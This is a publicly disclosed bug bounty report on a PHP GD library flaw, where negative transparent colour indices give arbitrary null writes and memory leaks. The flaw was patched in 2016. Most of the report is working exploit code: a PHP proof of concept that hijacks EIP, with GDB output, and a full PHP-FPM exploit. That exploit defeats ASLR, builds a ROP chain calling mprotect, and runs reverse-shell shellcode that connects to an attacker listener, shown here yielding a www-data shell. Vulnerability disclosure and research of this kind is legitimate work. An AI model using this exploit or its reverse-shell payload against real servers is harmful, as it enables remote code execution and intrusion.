HexBrain

Internet Bug Bounty · Report #153776

gdImageTrueColorToPaletteBody allows arbitrary write/read access

Validstatus
$500bounty
1upvotes
31 Oct 2019disclosed

How it was found

Upstream bug report

2016-06-29 04:03 UTC https://bugs.php.net/bug.php?id=72512

Patch

2016-07-19 07:47 UTC http://git.php.net/?p=php-src.git;a=commit;h=928aecc002e906b309b28f0062f03d4e5eda3e45 Fixed for PHP 5.5 (security only mode), PHP 5.6, PHP 7.0 http://php.net/ChangeLog-5.php#5.5.38 http://php.net/ChangeLog-5.php#5.6.24 http://php.net/ChangeLog-7.php#7.0.9

Description

gdImageTrueColorToPaletteBody doesn't check for negative transparent colors while converting the image. This leads to arbitrary null write and information leak.

Details

https://github.com/php/php-src/blob/master/ext/gd/libgd/gd_topal.c#L2000

...
if (oim->transparent >= 0)
{
 nim->transparent = nim->colorsTotal;
 nim->colorsTotal++;
}
...

nim->transparent will only be updated with a valid index if oim->transparent is bigger than 0, however it can be set to be a negative color using gdImageColorTransparent

https://github.com/php/php-src/blob/master/ext/gd/libgd/gd.c#L598

void gdImageColorTransparent (gdImagePtr im, int color)
{
       if (!im->trueColor) {
               if (im->transparent != -1) {
                       im->alpha[im->transparent] = gdAlphaOpaque;
               }
               if (color > 1 && color < im>colorsTotal && color < gdMaxColors) {
                       im->alpha[color] = gdAlphaTransparent;
               } else {
                       return;
               }
       }
       im->transparent = color;
}

As you can see here, there's no check for color on truecolor images.

Arbitrary Null Write

Setting im->transparent to a negative value, and then converting it to palette will allow to write an arbitrary null using gdImageColorTransparent again (above function):

       im->alpha[im->transparent] = gdAlphaOpaque;

Leak arbitrary memory using imagescale:

https://github.com/php/php-src/blob/master/ext/gd/libgd/gd_interpolation.c#L1247

static gdImagePtr gdImageScaleBilinearPalette(gdImagePtr im, const unsigned int new_width, const unsigned int new_height)
{
...
        new_img->transparent = gdTrueColorAlpha(im->red[transparent], im->green[transparent], im->blue[transparent], im->alpha[transparent]);   # transparent out of bounds
...
}

new_img->transparent value is calculated adding the values using transparent as an index.

EIP control

We are able to control EIP register by abusing these two issues:

<?php
ini_set('memory_limit', -1);

/*
objdump -d /home/user/php/php-70/sapi/cli/php|grep -A 2 strlen@plt

08065ce0 <strlen@plt>:
 8065ce0:       ff 25 c0 72 b4 08       jmp    *0x8b472c0
 8065ce6:       68 68 05 00 00          push   $0x568

*/
$plt_strlen = 0x8b472c0;

$img = imagecreatetruecolor($plt_strlen + 0x10, 1);  // Image with enough width to reach plt_strlen address
imagecolortransparent($img, -24060);    // Constant offset to reach first element from array img->pixels
imagetruecolortopalette($img, TRUE, 3);
imagecolortransparent($img, 0xff);     // Set to null first element from img->pixels  

// Allocate palette colors
for ($i = 0; $i < 256; $i++) imagecolorallocatealpha($img, $i, $i, $i, $i);

// Overwrite strlen plt address with 0x44434241
imagesetpixel($img, $plt_strlen, 0, 0x41);
imagesetpixel($img, $plt_strlen+1, 0, 0x42);
imagesetpixel($img, $plt_strlen+2, 0, 0x43);
imagesetpixel($img, $plt_strlen+3, 0, 0x44);

GDB output:

gdb -q --args /home/user/php/php-70/sapi/cli/php poc3.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/user/php/php-70/sapi/cli/php...done.
gdb-peda$ r
Starting program: /home/user/php/php-70/sapi/cli/php poc3.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x8b91660 ("text/html")
EBX: 0x8b47000 --> 0x8b46db8 --> 0x1 
ECX: 0xee50aaae 
EDX: 0xffffbe98 --> 0x8b47000 --> 0x8b46db8 --> 0x1 
ESI: 0x8b47000 --> 0x8b46db8 --> 0x1 
EDI: 0x8b7a518 --> 0x0 
EBP: 0xffffba38 --> 0xffffbb98 --> 0xffffbba8 --> 0xffffbbb8 --> 0xffffbbd8 --> 0xffffc2e8 (--> ...)
ESP: 0xffffb9fc --> 0x83e6d0e (<get_default_content_type+70>:	add    esp,0x10)
EIP: 0x44434241 ('ABCD')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x44434241
[------------------------------------stack-------------------------------------]
0000| 0xffffb9fc --> 0x83e6d0e (<get_default_content_type+70>:	add    esp,0x10)
0004| 0xffffba00 --> 0x8b91660 ("text/html")
0008| 0xffffba04 --> 0x0 
0012| 0xffffba08 --> 0x8a62758 ("/home/user/php/php-70/Zend/zend_hash.c")
0016| 0xffffba0c --> 0x83e6cd4 (<get_default_content_type+12>:	add    ebx,0x76032c)
0020| 0xffffba10 --> 0x0 
0024| 0xffffba14 --> 0x8474df1 (<zend_hash_iterators_remove+8>:	add    eax,0x6d220f)
0028| 0xffffba18 --> 0x8b91660 ("text/html")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44434241 in ?? ()
gdb-peda$ 

Code execution

<?php
// Tested on Debian x86 Jessie update + NGINX + PHP-FPM

/*
 objdump -d /usr/sbin/php5-fpm |grep -A 2 write|more

08096b50 <write@plt>:
 8096b50:       ff 25 a4 93 96 08       jmp    *0x89693a4
 8096b56:       68 30 07 00 00          push   $0x730

*/

$plt_write = 0x89693a4;

function get_maps() {
        $fh = fopen("/proc/self/maps", "r");
        $maps = fread($fh, 31337);
        fclose($fh);
        return explode("\n", $maps);
}

// Fill heap with nulled basic gdImage structures
$imgs = array();
for ($i = 0; $i < 10; $i++) $imgs[$i] = imagecreatetruecolor(10, 10);

// Image with enough width to reach plt_write address
$evilimg = imagecreatetruecolor($plt_write + 10, 1);

// Set brush at last gdImage to leak evilimg address
imagesetbrush ($imgs[9], $evilimg);

// -516 : offset to reach **evilimg->pixels pointer
imagecolortransparent($evilimg, -516);
imagetruecolortopalette($evilimg, TRUE, 3);

// Data leak from **evilimg->pixels address trough imagescale bug 
$imgtmp = imagescale($evilimg, 10, 10);
$x1 = imagecolortransparent($imgtmp);
echo "[+] pointer to colors @ 0x".dechex($x1)."\n";


// Restore truecolor evilimg
imagepalettetotruecolor($evilimg);

// -1443 offset to reach brush pointer from img[9] element
imagecolortransparent($evilimg, -1443);

// Data leak from img[9]->brush pointer = evilimg address
imagetruecolortopalette($evilimg, TRUE, 3);
$imgtmp2 = imagescale($evilimg, 10, 10);
$x2 = imagecolortransparent($imgtmp2);

echo "[+] pointer to image @ 0x".dechex($x2)."\n";

// Relative offset to reach first element from **evilimg->pixels (row 1 from image)
$off = -1 * ((($x2 - $x1) / 4) + 1550);
echo "[+] offset @ " . $off ."\n";

// Restore truecolor evilimg
imagepalettetotruecolor($evilimg);

// Set to null first element from evilimg->pixels
imagecolortransparent($evilimg, $off);
imagetruecolortopalette($evilimg, TRUE, 256);
imagecolortransparent($evilimg, 0xff);

// Bypass ASLR
$libc_base = 0;
foreach (get_maps() as $record)
        if (strstr($record, "libc-") && strstr($record, "r-xp")) {
               $libc_base = hexdec(explode('-', $record)[0]);
                break;
        }

if ($libc_base == 0)
        die("[-] can't find libc base, you need an information leak :[");

echo "[+] libc base @ 0x".dechex($libc_base)."\n";

/*
objdump -T /lib/i386-linux-gnu/libc.so.6|grep mprotect
000d4230  w   DF .text  00000037  GLIBC_2.0   mprotect
*/

$mprotect_offset = 0xd4230;
$mprotect_addr = $libc_base + $mprotect_offset;

echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";


/* gadgets
pgp5-fpm
0x086ea6d1 : pop ebx ; pop ebx ; aas ; pop ebx ; ret
0x080c5b76 : mov eax, ecx ; ret
0x086d1cf0 : xchg eax, esi ; ret
0x080efd28 : call esi

libc.so
0x00102ec1 : push ecx ; add al, 0x8b ; pop ebp ; cld ; leave ; ret

*/
$pivot_offset = 0x00102ec1;
$pivot =  $libc_base + $pivot_offset;
$pop3 = 0x086ea6d1;

// Overwrite write@plt entry to pivot address
for ($i = 0; $i < 256; $i++) imagecolorallocatealpha($evilimg, $i, $i, $i, $i);
$pivot_str = pack('I', $pivot);
for ($i = 0; $i < strlen($pivot_str); $i++) {
        imagesetpixel($evilimg, $plt_write + $i, 0, ord($pivot_str[$i]));
}


// Allocate shellcode
$pre = get_maps();
$buffer = str_repeat("\x41", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
        die('[-] you need infoleak :[');
$tmp = explode('-',array_values($tmp)[0])[0];
$align = 0xff;
$addr = hexdec($tmp) + 0x18; /* align to string */

echo "[+] buffer string @ 0x".dechex($addr)."\n";

// msfvenom -p linux/x86/shell_reverse_tcp -f python LHOST=10.0.3.1 LPORT=31337
$shellcode = "";
$shellcode .= "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66";
$shellcode .= "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a";
$shellcode .= "\x00\x03\x01\x68\x02\x00\x7a\x69\x89\xe1\xb0\x66\x50";
$shellcode .= "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73";
$shellcode .= "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0";
$shellcode .= "\x0b\xcd\x80";

for ($i = 0; $i < strlen($shellcode); $i++) $buffer[$i] = $shellcode[$i];


echo "[+] building ropchain\n";

// int mprotect(void *addr, size_t len, int prot);

$rop_chain =
	"AAAA" .
        pack('I', $mprotect_addr) /* mprotect */ .
        pack('I', $pop3) /* pop pop pop ret */ .
        pack('I', $addr - 0x18) /* mprotect addr  */ .
        pack('I', 0x1000) /* mprotect len */ .
        pack('I', 0x7) /* mprotect prot */ .
        pack('I', $addr) /* jump to shellcode */ ;


$temp = tmpfile();
// Call to ropchain
fwrite($temp, $rop_chain);
fclose ($temp);

Attacker session

Call to PHP exploit:
$ lynx http://10.0.3.246/gd4.php
...
$ nc -vlp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [10.0.3.246] port 31337 [tcp/*] accepted (family 2, sport 44816)
id -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original